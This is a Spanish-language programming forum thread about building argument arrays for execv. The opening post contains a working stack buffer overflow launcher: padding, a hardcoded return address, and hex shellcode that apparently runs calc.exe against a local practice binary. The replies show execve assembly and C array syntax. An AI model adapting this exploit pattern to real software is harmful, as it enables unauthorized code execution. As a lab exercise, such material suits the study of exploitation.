crear arreglo con distintos tipos de datos?

Iniciado por .:UND3R:., 18 Junio 2013, 01:14 AM

0 Miembros y 1 Visitante están viendo este tema.

.:UND3R:.

Hola a todos estoy haciendo una shellcode:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void main(int argc, char *argv[]) {
char relleno[1024] ="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
char offset[]  = "\xED\x1E\x95\x7C";
char exploit[] = "\x55\x8B\xEC\x83\xEC\x0C\x32\xD2\xC6\x45\xF4\x63\xC6\x45\xF5\x61\xC6\x45\xF6\x6C\xC6\x45\xF7\x63\xC6\x45\xF8\x2E\xC6\x45\xF9\x65\xC6\x45\xFA\x78\xC6\x45\xFB\x65\x88\x55\xFC\x8D\x45\xF4\x6A\x01\x50\xBB\x4D\x11\x86\x7C\xFF\xD3\x8B\xE5\x5D";

strcat(relleno,offset);
strcat(relleno,exploit);

argv[0] = "vuln1";
    argv[1] = relleno;
    argv[2] = NULL;

execv ("vuln.exe",argv);

}


Esta funciona de maravilla, lo que si me surge una duda con respecto a execv, cómo se puede apreciar se le envían los parámetros de argv (estos se asignan con anterioridad), pero me surge la duda de cómo podría crear mi propio arreglo con distintos tipos de datos como lo es en argv para posteriormente entregárselo a execv, saludos.

Solicitudes de crack, keygen, serial solo a través de mensajes privados (PM)

amchacon

El paramétro argc te dice cuantos parámetros se han pasado al programa.

Por cierto:

argv[0] = "vuln1";
argv[1] = relleno;
argv[2] = NULL;


Estas equivalencias son erroneas (no se puede usar asignación en cadenas char, tienes que usar strcopy, además estás modificando los argumentos que te han pasado *_*).
Por favor, no me manden MP con dudas. Usen el foro, gracias.

¡Visita mi programa estrella!

Rar File Missing: Esteganografía en un Rar

cpu2

Te dejo un ejemplo en ASM, creo que es lo que pretendes hacer.

Código (asm) [Seleccionar]
pushq %rax
pushw $0x6c2d
pushq %rsp
popq %rcx
movq $0x736c2f6e69622f, %rbx
pushq %rbx
pushq %rsp
popq %rdi
pushq %rax     ; argv[2] = NULL
pushq %rcx     ; argv[1] = "-l" su direccion, o en tu caso relleno.
pushq %rdi      ; argv[0] = "/bin/ls"
pushq %rsp
popq %rsi
movb $0x3b, %al
syscall


Cualquier duda ya sabes.

Un saludo.

flony

hola cp2....pasarias un buen libro o tutorial de asm :)
si un problema no tiene solucion entonces no es un problema...es algo inevitable

cpu2

#4
.:UND3R:.  te dejo dos en C.

char *ls[] = { "/bin/ls", "-l", NULL };

execv (ls[0], ls);


Tú caso sería este.


char *vuln[] = { "vuln.exe", relleno, NULL };

execv (vuln[0], vuln);


Pero es más eficiente el de ASM.

Cita de: flony en 18 Junio 2013, 03:54 AM
hola cp2....pasarias un buen libro o tutorial de asm :)

Cualquier libro ya esta bien, y luego ir tirando con los manuales de instrucciones.

Un saludo.

pacoperico

Cita de: .:UND3R:. en 18 Junio 2013, 01:14 AMcómo podría crear mi propio arreglo con distintos tipos de datos

No se puede, todos los elementos del arreglo han de ser del mismo tipo de variables. Lo que puedes hacer es crearte una estructura y ahi si puedes combinar distintos tipos de variables.